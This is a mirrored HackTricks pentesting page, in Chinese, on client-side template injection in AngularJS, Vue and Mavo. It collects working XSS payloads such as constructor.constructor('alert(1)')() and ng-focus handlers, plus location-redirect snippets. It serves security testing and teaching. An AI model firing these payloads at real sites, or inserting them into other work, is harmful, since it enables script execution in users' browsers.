mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
4.3 KiB
Markdown
79 lines
4.3 KiB
Markdown
# Client Side Template Injection (CSTI)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Summary
|
|
|
|
它类似于 [**Server Side Template Injection**](ssti-server-side-template-injection/index.html),但在 **client** 中。**SSTI** 允许您在远程服务器上 **execute code**,而 **CSTI** 可能允许您在受害者的浏览器中 **execute arbitrary JavaScript** 代码。
|
|
|
|
**Testing** 这种漏洞与 **SSTI** 的情况非常 **similar**,解释器期望 **a template** 并将其执行。例如,使用像 `{{ 7-7 }}` 的有效载荷,如果应用程序 **vulnerable**,您将看到 `0`,如果没有,您将看到原始内容:`{{ 7-7 }}`
|
|
|
|
## AngularJS
|
|
|
|
AngularJS 是一个广泛使用的 JavaScript 框架,通过称为指令的属性与 HTML 交互,其中一个显著的指令是 **`ng-app`**。该指令允许 AngularJS 处理 HTML 内容,从而在双大括号内执行 JavaScript 表达式。
|
|
|
|
在用户输入动态插入到标记为 `ng-app` 的 HTML 主体的场景中,可以执行任意 JavaScript 代码。这可以通过利用 AngularJS 的语法在输入中实现。以下是演示如何执行 JavaScript 代码的示例:
|
|
```javascript
|
|
{{$on.constructor('alert(1)')()}}
|
|
{{constructor.constructor('alert(1)')()}}
|
|
<input ng-focus=$event.view.alert('XSS')>
|
|
|
|
<!-- Google Research - AngularJS -->
|
|
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
|
```
|
|
您可以在 **AngularJS** 的 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) 中找到一个非常 **基本的在线示例**。
|
|
|
|
> [!CAUTION] > [**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html),因此从这个版本开始,像 `{{constructor.constructor('alert(1)')()}}` 或 `<input ng-focus=$event.view.alert('XSS')>` 的有效载荷应该可以工作。
|
|
|
|
## VueJS
|
|
|
|
您可以在 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh) 找到一个 **易受攻击的 Vue** 实现。\
|
|
有效载荷:[`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
|
|
|
易受攻击示例的 **源代码** 在这里:[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
|
```html
|
|
<!-- Google Research - Vue.js-->
|
|
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
|
```
|
|
在VUE中关于CSTI的一个非常好的帖子可以在 [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) 找到
|
|
|
|
### **V3**
|
|
```
|
|
{{_openBlock.constructor('alert(1)')()}}
|
|
```
|
|
信用: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
|
|
|
### **V2**
|
|
```
|
|
{{constructor.constructor('alert(1)')()}}
|
|
```
|
|
信用: [Mario Heiderich](https://twitter.com/cure53berlin)
|
|
|
|
**查看更多 VUE 有效载荷在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
|
|
|
## Mavo
|
|
|
|
有效载荷:
|
|
```
|
|
[7*7]
|
|
[(1,alert)(1)]
|
|
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
|
[self.alert(1)]
|
|
javascript:alert(1)%252f%252f..%252fcss-images
|
|
[Omglol mod 1 mod self.alert (1) andlol]
|
|
[''=''or self.alert(lol)]
|
|
<a data-mv-if='1 or self.alert(1)'>test</a>
|
|
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
|
<a href=[javascript&':alert(1)']>test</a>
|
|
[self.alert(1)mod1]
|
|
```
|
|
**更多有效载荷在** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
|
|
|
## **暴力破解检测列表**
|
|
|
|
{{#ref}}
|
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
|
{{#endref}}
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|